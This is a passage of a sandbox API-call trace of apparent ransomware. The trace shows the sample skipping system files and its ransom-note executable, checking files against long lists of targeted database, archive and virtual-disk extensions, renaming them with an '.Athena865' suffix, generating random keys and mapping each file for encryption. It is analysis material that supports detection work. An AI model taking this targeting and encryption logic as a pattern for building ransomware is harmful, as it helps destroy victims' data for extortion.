pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.643] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.643] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1860, lpName=0x0) returned 0x154 [0090.645] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1860) returned 0x100000 [0090.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.646] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.646] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.647] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.647] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.647] CloseHandle (hObject=0x154) returned 1 [0090.647] CloseHandle (hObject=0x17c) returned 1 [0090.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.647] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5597007, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5597007, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46ca8869, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ce6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Dotted_Line.jtp", cAlternateFileName="")) returned 1 [0090.647] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.647] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.647] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".") returned 1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="..") returned 1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="windows") returned -1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="bootmgr") returned 1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="temp") returned -1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="pagefile.sys") returned -1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="boot") returned 1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="ids.txt") returned -1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="ntuser.dat") returned -1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="perflogs") returned -1 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2="MSBuild") returned -1 [0090.648] lstrlenW (lpString="Dotted_Line.jtp") returned 15 [0090.648] lstrcpyW (in: lpString1=0x241e89e, lpString2="Dotted_Line.jtp" | out: lpString1="Dotted_Line.jtp") returned="Dotted_Line.jtp" [0090.648] lstrlenW (lpString="Dotted_Line.jtp") returned 15 [0090.648] lstrlenW (lpString="Athena865") returned 9 [0090.648] lstrcmpiW (lpString1="_Line.jtp", lpString2="Athena865") returned -1 [0090.648] lstrlenW (lpString=".dll") returned 4 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".dll") returned 1 [0090.648] lstrlenW (lpString=".lnk") returned 4 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".lnk") returned 1 [0090.648] lstrlenW (lpString=".ini") returned 4 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".ini") returned 1 [0090.648] lstrlenW (lpString=".sys") returned 4 [0090.648] lstrcmpiW (lpString1="Dotted_Line.jtp", lpString2=".sys") returned 1 [0090.648] lstrlenW (lpString="Dotted_Line.jtp") returned 15 [0090.648] lstrlenW (lpString="bak") returned 3 [0090.648] lstrcmpiW (lpString1="jtp", lpString2="bak") returned 1 [0090.648] lstrlenW (lpString="ba_") returned 3 [0090.648] lstrcmpiW (lpString1="jtp", lpString2="ba_") returned 1 [0090.648] lstrlenW (lpString="dbb") returned 3 [0090.648] lstrcmpiW (lpString1="jtp", lpString2="dbb") returned 1 [0090.648] lstrlenW (lpString="vmdk") returned 4 [0090.649] lstrcmpiW (lpString1=".jtp", lpString2="vmdk") returned -1 [0090.649] lstrlenW (lpString="rar") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="rar") returned -1 [0090.649] lstrlenW (lpString="zip") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="zip") returned -1 [0090.649] lstrlenW (lpString="tgz") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="tgz") returned -1 [0090.649] lstrlenW (lpString="vbox") returned 4 [0090.649] lstrcmpiW (lpString1=".jtp", lpString2="vbox") returned -1 [0090.649] lstrlenW (lpString="vdi") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="vdi") returned -1 [0090.649] lstrlenW (lpString="vhd") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="vhd") returned -1 [0090.649] lstrlenW (lpString="vhdx") returned 4 [0090.649] lstrcmpiW (lpString1=".jtp", lpString2="vhdx") returned -1 [0090.649] lstrlenW (lpString="avhd") returned 4 [0090.649] lstrcmpiW (lpString1=".jtp", lpString2="avhd") returned -1 [0090.649] lstrlenW (lpString="db") returned 2 [0090.649] lstrcmpiW (lpString1="tp", lpString2="db") returned 1 [0090.649] lstrlenW (lpString="db2") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="db2") returned 1 [0090.649] lstrlenW (lpString="db3") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="db3") returned 1 [0090.649] lstrlenW (lpString="dbf") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="dbf") returned 1 [0090.649] lstrlenW (lpString="mdf") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="mdf") returned -1 [0090.649] lstrlenW (lpString="mdb") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="mdb") returned -1 [0090.649] lstrlenW (lpString="sql") returned 3 [0090.649] lstrcmpiW (lpString1="jtp", lpString2="sql") returned -1 [0090.650] lstrlenW (lpString="sqlite") returned 6 [0090.650] lstrcmpiW (lpString1="ne.jtp", lpString2="sqlite") returned -1 [0090.650] lstrlenW (lpString="sqlite3") returned 7 [0090.650] lstrcmpiW (lpString1="ine.jtp", lpString2="sqlite3") returned -1 [0090.650] lstrlenW (lpString="sqlitedb") returned 8 [0090.650] lstrcmpiW (lpString1="Line.jtp", lpString2="sqlitedb") returned -1 [0090.650] lstrlenW (lpString="xml") returned 3 [0090.650] lstrcmpiW (lpString1="jtp", lpString2="xml") returned -1 [0090.650] lstrlenW (lpString="$er") returned 3 [0090.650] lstrcmpiW (lpString1="jtp", lpString2="$er") returned 1 [0090.650] lstrlenW (lpString="4dd") returned 3 [0090.650] lstrcmpiW (lpString1="jtp", lpString2="4dd") returned 1 [0090.650] lstrlenW (lpString="4dl") returned 3 [0090.650] lstrcmpiW (lpString1="jtp", lpString2="4dl") returned 1 [0090.650] lstrlenW (lpString="^^^") returned 3 [0090.650] lstrcmpiW (lpString1="jtp", lpString2="^^^") returned 1 [0090.650] lstrlenW (lpString="abs") returned 3 [0090.650] lstrcmpiW (lpString1="jtp", lpString2="abs") returned 1 [0090.650] lstrlenW (lpString="abx") returned 3 [0090.650] lstrcmpiW (lpString1="jtp", lpString2="abx") returned 1 [0090.650] lstrlenW (lpString="accdb") returned 5 [0090.650] lstrcmpiW (lpString1="e.jtp", lpString2="accdb") returned 1 [0090.650] lstrlenW (lpString="accdc") returned 5 [0090.650] lstrcmpiW (lpString1="e.jtp", lpString2="accdc") returned 1 [0090.650] lstrlenW (lpString="accde") returned 5 [0090.650] lstrcmpiW (lpString1="e.jtp", lpString2="accde") returned 1 [0090.650] lstrlenW (lpString="accdr") returned 5 [0090.650] lstrcmpiW (lpString1="e.jtp", lpString2="accdr") returned 1 [0090.650] lstrlenW (lpString="accdt") returned 5 [0090.650] lstrcmpiW (lpString1="e.jtp", lpString2="accdt") returned 1 [0090.650] lstrlenW (lpString="accdw") returned 5 [0090.651] lstrcmpiW (lpString1="e.jtp", lpString2="accdw") returned 1 [0090.651] lstrlenW (lpString="accft") returned 5 [0090.651] lstrcmpiW (lpString1="e.jtp", lpString2="accft") returned 1 [0090.651] lstrlenW (lpString="adb") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="adb") returned 1 [0090.651] lstrlenW (lpString="adb") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="adb") returned 1 [0090.651] lstrlenW (lpString="ade") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="ade") returned 1 [0090.651] lstrlenW (lpString="adf") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="adf") returned 1 [0090.651] lstrlenW (lpString="adn") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="adn") returned 1 [0090.651] lstrlenW (lpString="adp") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="adp") returned 1 [0090.651] lstrlenW (lpString="alf") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="alf") returned 1 [0090.651] lstrlenW (lpString="ask") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="ask") returned 1 [0090.651] lstrlenW (lpString="btr") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="btr") returned 1 [0090.651] lstrlenW (lpString="cat") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="cat") returned 1 [0090.651] lstrlenW (lpString="cdb") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="cdb") returned 1 [0090.651] lstrlenW (lpString="ckp") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="ckp") returned 1 [0090.651] lstrlenW (lpString="cma") returned 3 [0090.651] lstrcmpiW (lpString1="jtp", lpString2="cma") returned 1 [0090.651] lstrlenW (lpString="cpd") returned 3 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="cpd") returned 1 [0090.652] lstrlenW (lpString="dacpac") returned 6 [0090.652] lstrcmpiW (lpString1="ne.jtp", lpString2="dacpac") returned 1 [0090.652] lstrlenW (lpString="dad") returned 3 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="dad") returned 1 [0090.652] lstrlenW (lpString="dadiagrams") returned 10 [0090.652] lstrcmpiW (lpString1="d_Line.jtp", lpString2="dadiagrams") returned -1 [0090.652] lstrlenW (lpString="daschema") returned 8 [0090.652] lstrcmpiW (lpString1="Line.jtp", lpString2="daschema") returned 1 [0090.652] lstrlenW (lpString="db-journal") returned 10 [0090.652] lstrcmpiW (lpString1="d_Line.jtp", lpString2="db-journal") returned -1 [0090.652] lstrlenW (lpString="db-shm") returned 6 [0090.652] lstrcmpiW (lpString1="ne.jtp", lpString2="db-shm") returned 1 [0090.652] lstrlenW (lpString="db-wal") returned 6 [0090.652] lstrcmpiW (lpString1="ne.jtp", lpString2="db-wal") returned 1 [0090.652] lstrlenW (lpString="dbc") returned 3 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="dbc") returned 1 [0090.652] lstrlenW (lpString="dbs") returned 3 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="dbs") returned 1 [0090.652] lstrlenW (lpString="dbt") returned 3 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="dbt") returned 1 [0090.652] lstrlenW (lpString="dbv") returned 3 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="dbv") returned 1 [0090.652] lstrlenW (lpString="dbx") returned 3 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="dbx") returned 1 [0090.652] lstrlenW (lpString="dcb") returned 3 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="dcb") returned 1 [0090.652] lstrcmpiW (lpString1="jtp", lpString2="dct") returned 1 [0090.653] lstrcmpiW (lpString1="jtp", lpString2="dcx") returned 1 [0090.653] lstrcmpiW (lpString1="jtp", lpString2="ddl") returned 1 [0090.653] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp.Athena865") returned 68 [0090.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp.athena865"), dwFlags=0x1) returned 1 [0090.654] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\dotted_line.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.654] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11494) returned 1 [0090.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.654] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.655] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.655] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.655] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ff0, lpName=0x0) returned 0x154 [0090.656] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ff0) returned 0x100000 [0090.657] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.658] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.658] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.658] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.659] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.659] CloseHandle (hObject=0x154) returned 1 [0090.659] CloseHandle (hObject=0x17c) returned 1 [0090.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.659] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc55bd164, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc55bd164, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x470d2eb1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x361c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Genko_1.jtp", cAlternateFileName="")) returned 1 [0090.659] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.659] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".") returned 1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="..") returned 1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="windows") returned -1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="bootmgr") returned 1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="temp") returned -1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="pagefile.sys") returned -1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="boot") returned 1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="ids.txt") returned -1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="ntuser.dat") returned -1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="perflogs") returned -1 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2="MSBuild") returned -1 [0090.660] lstrlenW (lpString="Genko_1.jtp") returned 11 [0090.660] lstrcpyW (in: lpString1=0x241e89e, lpString2="Genko_1.jtp" | out: lpString1="Genko_1.jtp") returned="Genko_1.jtp" [0090.660] lstrlenW (lpString="Genko_1.jtp") returned 11 [0090.660] lstrlenW (lpString="Athena865") returned 9 [0090.660] lstrcmpiW (lpString1="nko_1.jtp", lpString2="Athena865") returned 1 [0090.660] lstrlenW (lpString=".dll") returned 4 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".dll") returned 1 [0090.660] lstrlenW (lpString=".lnk") returned 4 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".lnk") returned 1 [0090.660] lstrlenW (lpString=".ini") returned 4 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".ini") returned 1 [0090.660] lstrlenW (lpString=".sys") returned 4 [0090.660] lstrcmpiW (lpString1="Genko_1.jtp", lpString2=".sys") returned 1 [0090.660] lstrlenW (lpString="Genko_1.jtp") returned 11 [0090.660] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp.Athena865") returned 64 [0090.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp.athena865"), dwFlags=0x1) returned 1 [0090.662] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_1.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\genko_1.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.662] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13852) returned 1 [0090.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0090.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.662] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0090.662] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0090.663] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0090.663] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.663] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3920, lpName=0x0) returned 0x154 [0090.665] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3920) returned 0x100000 [0090.666] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0090.666] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.666] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5392c0 [0090.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5392c0 | out: hHeap=0x4f0000) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.667] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0090.667] CloseHandle (hObject=0x154) returned 1 [0090.667] CloseHandle (hObject=0x17c) returned 1 [0090.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0090.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0090.668] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc560941e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc560941e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x47191587, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x4c8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Genko_2.jtp", cAlternateFileName="")) returned 1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".") returned 1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="..") returned 1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="windows") returned -1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="bootmgr") returned 1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="temp") returned -1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="pagefile.sys") returned -1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="boot") returned 1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="ids.txt") returned -1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="ntuser.dat") returned -1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="perflogs") returned -1 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2="MSBuild") returned -1 [0090.668] lstrlenW (lpString="Genko_2.jtp") returned 11 [0090.668] lstrcpyW (in: lpString1=0x241e89e, lpString2="Genko_2.jtp" | out: lpString1="Genko_2.jtp") returned="Genko_2.jtp" [0090.668] lstrlenW (lpString="Genko_2.jtp") returned 11 [0090.668] lstrlenW (lpString="Athena865") returned 9 [0090.668] lstrcmpiW (lpString1="nko_2.jtp", lpString2="Athena865") returned 1 [0090.668] lstrlenW (lpString=".dll") returned 4 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".dll") returned 1 [0090.668] lstrlenW (lpString=".lnk") returned 4 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".lnk") returned 1 [0090.668] lstrlenW (lpString=".ini") returned 4 [0090.668] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".ini") returned 1 [0090.669] lstrlenW (lpString=".sys") returned 4 [0090.669] lstrcmpiW (lpString1="Genko_2.jtp", lpString2=".sys") returned 1 [0090.669] lstrlenW (lpString="Genko_2.jtp") returned 11 [0090.669] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp.Athena865") returned 64 [0090.669] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp"), lpNewFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp.athena865"), dwFlags=0x1) returned 1 [0090.673] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Genko_2.jtp.Athena865" (normalized: "c:\\program files\\windows journal\\templates\\genko_2.jtp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0090.673] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19596) returned 1 [0090.673] RtlAllocateHeap 